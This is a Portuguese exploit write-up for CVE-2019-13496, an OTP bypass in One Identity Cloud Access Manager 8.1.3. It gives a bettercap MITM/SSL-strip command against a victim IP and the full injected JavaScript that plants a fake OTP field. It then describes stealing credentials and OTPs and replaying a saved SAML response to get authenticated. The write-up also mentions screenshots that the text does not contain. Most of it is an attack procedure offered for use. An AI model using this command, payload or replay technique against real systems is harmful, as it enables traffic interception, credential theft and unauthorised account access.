CVE-2019-13496
Exploit Title: Bypass de OTP (falha na verificação de integridade)
Date: 07/10/2019
Exploit Author: Furqan Khan
Vendor Homepage: https://www.oneidentity.com/
Software Link: https://www.oneidentity.com/products/cloud-access-manager/
Version: 8.1.3
Tested on: Kali Linux , Windows 7 ,Ubantu 16.04
Para explorar a vulnerabilidade de bypass de OTP, um atacante utiliza uma vulnerabilidade anteriormente descoberta de MITM/SSL-Strip CVE-2019-13498 , CVE-2019-13498 .Um atacante conduz um ataque de MITM / SSL strip, por meio do qual consegue injetar uma caixa de texto de OTP na página web que está sendo servida à vítima. A vítima compartilha seu nome de usuário, senha e OTP gerado por um aplicativo chamado defender (que pertence ao mesmo fornecedor). O atacante intercepta o nome de usuário, a senha e o OTP e tenta acessar o aplicativo por meio de um fluxo legítimo. Depois de inserir o nome de usuário e a senha (que foram roubados), o atacante insere o OTP roubado na página seguinte. Ao enviar a solicitação na página de OTP, a resposta SAML assinada é salva. Agora, mesmo que o atacante não tenha acesso ao aplicativo que gera o OTP, ele pode inserir um OTP inválido para transações sucessivas e, enquanto o aplicativo invalida o OTP, o atacante pode trocar a resposta SAML com falha pela resposta SAML legítima obtida anteriormente, e o aplicativo não realiza uma verificação de integridade e autentica o atacante.
(1) O primeiro passo do ataque é conduzir o MITM/SSL-Strip, que está documentado em: CVE-2019-13498 , e também está especificado abaixo:
O comando bettercap usado é:
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

Aqui, 192.168.1.103 é o endereço IP da vítima. Se não o soubermos, podemos usar o bettercap para farejar e manipular o conteúdo de toda a LAN (rede comum entre atacante e vítima)
O conteúdo de inject_js.js é fornecido abaixo
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
Agora, quando a vítima navegar no produto (Cloud access manager), devido ao envenenamento de cache e SSL strip (Bettercap), uma caixa de texto de OTP será injetada na página que será servida à vítima por meio do trecho de JavaScript injetado

Como a conexão é rebaixada para HTTP via ssl-strip, agora todo o tráfego fica visível para o atacante. Assim, podemos interceptar o tráfego e ver o nome de usuário, a senha e o OTP enviados pela vítima.

Agora, vamos supor que já tenhamos feito login uma vez com as credenciais salvas e tenhamos salvo todas as solicitações e respostas válidas.
Nesta seção, aprenderemos como podemos usar a resposta de OTP salva anteriormente para contornar a validação de OTP, o que nos permitirá fazer login no aplicativo.
Vamos inserir um OTP inválido, como mostrado abaixo:

Abaixo é mostrada a resposta que falha na validação do OTP.

Substitua a resposta com falha pela resposta legítima salva anteriormente.

Abaixo é mostrada a resposta SAML que falha na validação do OTP.

Substitua a resposta com falha pela resposta SAML legítima salva anteriormente.

Bingo, o aplicativo nos autentica. Idealmente, ele deveria ter feito uma verificação de integridade e levado em conta que o OTP expirou.

Bingo! Isso foi fácil!